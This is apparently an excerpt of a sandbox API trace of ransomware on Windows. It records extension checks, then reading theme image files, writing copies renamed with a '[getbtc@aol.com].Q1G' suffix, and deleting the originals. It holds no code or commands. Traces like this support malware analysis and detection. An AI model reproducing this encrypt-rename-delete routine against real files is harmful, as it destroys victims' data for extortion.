(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0047.276] lstrlenW (lpString=".zip") returned 4 [0047.276] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.276] lstrlenW (lpString=".rar") returned 4 [0047.276] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.276] lstrlenW (lpString=".bz2") returned 4 [0047.276] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.276] lstrlenW (lpString=".7z") returned 3 [0047.276] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0047.276] lstrlenW (lpString=".dbf") returned 4 [0047.276] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0047.276] lstrlenW (lpString=".1cd") returned 4 [0047.276] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0047.276] lstrlenW (lpString=".jpg") returned 4 [0047.276] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0047.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0047.276] lstrlenW (lpString=".doc") returned 4 [0047.277] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.277] lstrlenW (lpString=".docx") returned 5 [0047.277] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.277] lstrlenW (lpString=".pdf") returned 4 [0047.277] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.277] lstrlenW (lpString=".xls") returned 4 [0047.277] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.277] lstrlenW (lpString=".xlsx") returned 5 [0047.277] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.277] lstrlenW (lpString=".ppt") returned 4 [0047.277] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0047.277] lstrlenW (lpString=".zip") returned 4 [0047.277] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.277] lstrlenW (lpString=".rar") returned 4 [0047.277] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.277] lstrlenW (lpString=".bz2") returned 4 [0047.277] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.277] lstrlenW (lpString=".7z") returned 3 [0047.277] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0047.277] lstrlenW (lpString=".dbf") returned 4 [0047.277] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0047.277] lstrlenW (lpString=".1cd") returned 4 [0047.277] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0047.277] lstrlenW (lpString=".jpg") returned 4 [0047.277] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.277] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0047.277] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0047.278] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=1364) returned 1 [0047.278] CloseHandle (hObject=0x1c8) returned 1 [0047.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0047.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0047.278] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.278] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.282] GetLastError () returned 0x0 [0047.282] ReadFile (in: hFile=0x1c8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x554, lpOverlapped=0x0) returned 1 [0047.283] WriteFile (in: hFile=0x20c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x560, lpOverlapped=0x0) returned 1 [0047.284] ReadFile (in: hFile=0x1c8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0047.284] WriteFile (in: hFile=0x20c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.284] SetEndOfFile (hFile=0x20c) returned 1 [0047.284] CloseHandle (hObject=0x20c) returned 1 [0047.284] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.284] SetEndOfFile (hFile=0x1c8) returned 1 [0047.285] CloseHandle (hObject=0x1c8) returned 1 [0047.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.285] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1 [0047.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0047.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0047.286] lstrlenW (lpString=".doc") returned 4 [0047.286] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.286] lstrlenW (lpString=".docx") returned 5 [0047.286] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.286] lstrlenW (lpString=".pdf") returned 4 [0047.286] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.286] lstrlenW (lpString=".xls") returned 4 [0047.286] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.286] lstrlenW (lpString=".xlsx") returned 5 [0047.286] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.286] lstrlenW (lpString=".ppt") returned 4 [0047.286] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0047.286] lstrlenW (lpString=".zip") returned 4 [0047.286] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.286] lstrlenW (lpString=".rar") returned 4 [0047.286] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.286] lstrlenW (lpString=".bz2") returned 4 [0047.286] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.286] lstrlenW (lpString=".7z") returned 3 [0047.286] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0047.286] lstrlenW (lpString=".dbf") returned 4 [0047.286] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0047.286] lstrlenW (lpString=".1cd") returned 4 [0047.286] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0047.286] lstrlenW (lpString=".jpg") returned 4 [0047.286] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0047.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0047.287] lstrlenW (lpString=".doc") returned 4 [0047.287] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.287] lstrlenW (lpString=".docx") returned 5 [0047.287] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.287] lstrlenW (lpString=".pdf") returned 4 [0047.287] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.287] lstrlenW (lpString=".xls") returned 4 [0047.287] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.287] lstrlenW (lpString=".xlsx") returned 5 [0047.287] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.287] lstrlenW (lpString=".ppt") returned 4 [0047.287] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0047.287] lstrlenW (lpString=".zip") returned 4 [0047.287] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.287] lstrlenW (lpString=".rar") returned 4 [0047.287] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.287] lstrlenW (lpString=".bz2") returned 4 [0047.287] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.287] lstrlenW (lpString=".7z") returned 3 [0047.287] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0047.287] lstrlenW (lpString=".dbf") returned 4 [0047.287] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0047.287] lstrlenW (lpString=".1cd") returned 4 [0047.287] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0047.287] lstrlenW (lpString=".jpg") returned 4 [0047.287] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.287] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0047.288] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0047.288] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=11573) returned 1 [0047.288] CloseHandle (hObject=0x1c8) returned 1 [0047.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0047.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0047.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0047.288] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.288] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0047.289] GetLastError () returned 0x0 [0047.289] ReadFile (in: hFile=0x1c8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x2d35, lpOverlapped=0x0) returned 1 [0047.509] WriteFile (in: hFile=0x20c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x2d40, lpOverlapped=0x0) returned 1 [0047.510] ReadFile (in: hFile=0x1c8, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0047.510] WriteFile (in: hFile=0x20c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.511] SetEndOfFile (hFile=0x20c) returned 1 [0047.513] CloseHandle (hObject=0x20c) returned 1 [0047.513] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.513] SetEndOfFile (hFile=0x1c8) returned 1 [0047.514] CloseHandle (hObject=0x1c8) returned 1 [0047.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.514] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1 [0047.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0047.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0047.514] lstrlenW (lpString=".doc") returned 4 [0047.514] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.514] lstrlenW (lpString=".docx") returned 5 [0047.514] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.514] lstrlenW (lpString=".pdf") returned 4 [0047.514] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.514] lstrlenW (lpString=".xls") returned 4 [0047.514] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.515] lstrlenW (lpString=".xlsx") returned 5 [0047.515] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.515] lstrlenW (lpString=".ppt") returned 4 [0047.515] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0047.515] lstrlenW (lpString=".zip") returned 4 [0047.515] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.515] lstrlenW (lpString=".rar") returned 4 [0047.515] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.515] lstrlenW (lpString=".bz2") returned 4 [0047.515] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.515] lstrlenW (lpString=".7z") returned 3 [0047.515] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0047.515] lstrlenW (lpString=".dbf") returned 4 [0047.515] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0047.515] lstrlenW (lpString=".1cd") returned 4 [0047.515] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0047.515] lstrlenW (lpString=".jpg") returned 4 [0047.515] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0047.515] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0047.515] lstrlenW (lpString=".doc") returned 4 [0047.515] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.515] lstrlenW (lpString=".docx") returned 5 [0047.515] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.515] lstrlenW (lpString=".pdf") returned 4 [0047.515] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.515] lstrlenW (lpString=".xls") returned 4 [0047.515] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.515] lstrlenW (lpString=".xlsx") returned 5 [0047.515] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.515] lstrlenW (lpString=".ppt") returned 4 [0047.516] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0047.516] lstrlenW (lpString=".zip") returned 4 [0047.516] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.516] lstrlenW (lpString=".rar") returned 4 [0047.516] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.516] lstrlenW (lpString=".bz2") returned 4 [0047.516] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.516] lstrlenW (lpString=".7z") returned 3 [0047.516] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0047.516] lstrlenW (lpString=".dbf") returned 4 [0047.516] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0047.516] lstrlenW (lpString=".1cd") returned 4 [0047.516] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0047.516] lstrlenW (lpString=".jpg") returned 4 [0047.516] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.516] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0047.516] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0048.018] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=37440) returned 1 [0048.018] CloseHandle (hObject=0x1f0) returned 1 [0048.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0048.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0048.018] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.018] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0048.019] GetLastError () returned 0x0 [0048.019] ReadFile (in: hFile=0x1f0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x9240, lpOverlapped=0x0) returned 1 [0048.193] WriteFile (in: hFile=0x200, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x9250, lpOverlapped=0x0) returned 1 [0048.195] ReadFile (in: hFile=0x1f0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0048.195] WriteFile (in: hFile=0x200, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.195] SetEndOfFile (hFile=0x200) returned 1 [0048.195] CloseHandle (hObject=0x200) returned 1 [0048.195] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.195] SetEndOfFile (hFile=0x1f0) returned 1 [0048.196] CloseHandle (hObject=0x1f0) returned 1 [0048.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0048.196] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1 [0048.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0048.196] lstrlenW (lpString=".doc") returned 4 [0048.196] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.196] lstrlenW (lpString=".docx") returned 5 [0048.196] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.197] lstrlenW (lpString=".pdf") returned 4 [0048.197] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.197] lstrlenW (lpString=".xls") returned 4 [0048.197] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.197] lstrlenW (lpString=".xlsx") returned 5 [0048.197] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.197] lstrlenW 